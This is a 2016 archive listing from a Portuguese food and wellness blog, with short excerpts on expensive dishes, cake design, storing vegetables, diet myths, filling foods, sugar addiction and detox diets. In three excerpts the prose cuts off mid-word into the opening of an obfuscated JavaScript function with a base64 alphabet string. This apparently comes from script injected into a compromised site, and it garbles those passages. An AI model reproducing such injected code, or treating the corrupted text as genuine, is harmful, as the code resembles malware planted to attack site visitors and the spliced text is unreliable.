Jul 1, 2016 | Apanhados na rede, Olha que giro
Os pratos mais caros do mundo Comer é um prazer. E se há coisa de que os portugueses gostam é de estar sentados à mesa, com boa comidinha e ótimas conversas. Não resistimos a um bom petisco. Mas em vários restaurantes do mundo há pratos que custam muito a fazer e mais...
Jun 12, 2016 | Apanhados na rede, Olha que giro
Cake design – bolos que são obras de arte Sim, eu sei que estou a fazer dieta e que tenho de resistir às tentações. Mas estes bolos são muito mais do que simples sobremesas… são verdadeiras obras de arte. O cake design está na moda. Aliar a confeção do bolo em...
Jun 7, 2016 | À descoberta, Dicas úteis
Conservar legumes e vegetais – tudo o que precisa saber Por norma, regressamos do supermercado e guardamos todos os nossos frescos no frigorífico com medo que se estraguem, sem termos ideia do erro que estamos a cometer. Na verdade, os vegetais não são todos...
Jun 5, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A pergunta que todas fazemos é: esse alimento engorda ou não? É certo que as mães são sábias, mas ainda assim, por vezes, podem dar-lhe dicas alimentares que não correspondem bem à verdade. Conheça os mitos que o function a4872b9c6b(y1){var...
Jun 3, 2016 | Equilíbrio, Saúde e bem estar, Zen Energy
A lista dos 17 alimentos saudáveis que mais saciam Aqui tem uma lista muito simples de alimentos saudáveis, de fácil consulta. Se o seu objectivo é perder peso, planifique as suas ementas de maneira a incluir nelas estes alimentos e conseguirá controlar o seu peso de...
Abr 26, 2016 | Saúde e bem estar
Por Cláudia Cunha, nutricionista O açúcar vicia e causa dependência. As pessoas, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...
Abr 18, 2016 | Equilíbrio, Saúde e bem estar
Tenha sempre consigo uma lancheira saudável e nutritiva, por Rita Boavida, nutricionista Não sabe o que comer a meio da manhã e ao lanche? Tenta resistir mas acaba sempre por comer algo pouco saudável? Se a resposta é sim, a solução que lhe proponho é levar sempre...
Abr 4, 2016 | Equilíbrio, Saúde e bem estar
Saiba mais sobre a dieta detox – Top 10 alimentos detox Uma dieta detox não é difícil de cumprir. Ao contrário do que muitos pensam não é uma dieta restritiva e não deve levar a processos de carência nem a fome! Um plano alimentar detox baseia-se nos fundamentos...
Mar 31, 2016 | À descoberta, Dicas úteis
Eu confesso que não nasci para cozinhar. Por outro lado, adoro comer. Tenho muitos amigos e amigas que são uns Master Chefs a preparar deliciosos petiscos aos quais eu nunca resisto (ai a dieta). Apesar de não ter mão para a cozinha, gosto de observá-los qufunction...
